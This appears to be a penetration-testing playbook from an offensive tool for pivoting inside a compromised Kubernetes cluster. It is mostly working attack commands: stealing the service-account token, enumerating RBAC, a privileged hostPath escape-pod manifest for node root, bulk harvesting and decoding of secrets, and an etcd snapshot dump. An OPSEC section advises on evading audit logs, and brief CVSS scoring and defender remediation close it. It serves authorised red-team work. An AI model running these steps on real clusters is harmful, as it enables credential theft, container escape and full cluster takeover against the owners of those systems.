K8S Pivot

Kubernetes Pivot

1. Identify the cluster you're in

Inside a compromised pod:

# Service account token (default mount)
cat /var/run/secrets/kubernetes.io/serviceaccount/token > /tmp/sa.tok
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt > /tmp/ca.crt

# API server address
echo $KUBERNETES_SERVICE_HOST $KUBERNETES_SERVICE_PORT_HTTPS
# Or: env | grep KUBE

2. Inventory permissions

KUBECTL="kubectl --token=$(cat /tmp/sa.tok) --certificate-authority=/tmp/ca.crt \
         --server=https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT_HTTPS"

# What can I do in my own namespace?
$KUBECTL auth can-i --list --namespace=$(cat .../namespace) > /tmp/can_ns.txt

# Cluster-wide?
$KUBECTL auth can-i --list > /tmp/can_cluster.txt

# Specifically check the high-value verbs
for verb in get list create delete patch update; do
  for res in secrets pods deployments daemonsets nodes clusterroles rolebindings serviceaccounts; do
    $KUBECTL auth can-i $verb $res --all-namespaces 2>/dev/null | \
      grep -q yes && echo "$verb $res YES"
  done
done > /tmp/verbs.txt

Decepticon ingest:

k8s_audit("/tmp/can_cluster.txt")

3. RBAC escalation primitives

4. Pod escape — host root via hostPath

# escape-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: escape-pod
spec:
  hostPID: true        # see all host PIDs
  hostNetwork: true    # bypass network policies
  containers:
  - name: shell
    image: alpine
    command: ["sh", "-c", "sleep 1d"]
    securityContext:
      privileged: true     # CAP_*, no user-namespace remap, no AppArmor
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /
      type: Directory

$KUBECTL create -f escape-pod.yaml
$KUBECTL exec -it escape-pod -- chroot /host /bin/bash
# Now root on the underlying node

5. Secrets harvest

# All accessible secrets across namespaces
$KUBECTL get secrets --all-namespaces -o json > /tmp/secrets.json
jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name) \(.type)"' /tmp/secrets.json

# Decode SA tokens
jq -r '.items[] | select(.type=="kubernetes.io/service-account-token") |
       "\(.metadata.namespace)/\(.metadata.name) \(.data.token | @base64d)"' \
  /tmp/secrets.json > /tmp/sa-tokens.txt

# Decode dockercfg / dockerconfigjson
jq -r '.items[] | select(.type=="kubernetes.io/dockerconfigjson") |
       .data[".dockerconfigjson"] | @base64d' /tmp/secrets.json

6. Container runtime escapes (when you have privileged pod or specific caps)

7. Pivoting from the API server

With cluster-admin token:

# List all nodes
$KUBECTL get nodes -o wide

# Each node has an internal IP — once you have host root, you have
# network reach to the underlying infra (etcd, cloud metadata, etc)

# Steal etcd snapshot via cluster-admin
$KUBECTL --raw '/api/v1/namespaces/kube-system/pods' > /tmp/all-pods.json
# Find etcd pod, exec, dump
$KUBECTL exec -n kube-system etcd-master -- \
  etcdctl snapshot save /tmp/etcd.db --cacert=/etc/kubernetes/pki/etcd/ca.crt

8. Promote

kg_add_node(kind="vulnerability", label="K8s RBAC: <verb> on <resource>",
            props={"severity":"<sev>","namespace":"<ns>","cluster":"<cluster>"})
kg_add_edge(src=<vuln>, dst=<crown_jewel:cluster-admin>, kind="reaches")

OPSEC

• K8s audit policy logs every API call. If audit is set to Metadata or higher, every kubectl op is recorded with user SA, verb, resource, response code.
• Cloud providers (EKS/GKE/AKS) ship audit logs to CloudWatch / Stackdriver / Log Analytics — assume engagement is observed.
• Use a low-priv SA token first, escalate only when needed, and exfil secrets in one batch (don't list-secrets repeatedly).

CVSS

• create-pod privileged anywhere: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 9.0
• get-secrets in kube-system: 9.0
• escalate clusterrolebindings: 10.0 (instant cluster-admin)
• Default ServiceAccount auto-mounted into all pods + privileged pod creation allowed: 9.5 (engagement-ending)

Defender remediation (high-level)

• Disable automounting of default SA tokens (automountServiceAccountToken: false)
• Enforce PodSecurity standards (baseline minimum, restricted ideal)
• Audit cluster-wide ClusterRoleBindings — many clusters have system:masters aliases to misnamed groups
• Network policies to block pod → kube-api except where required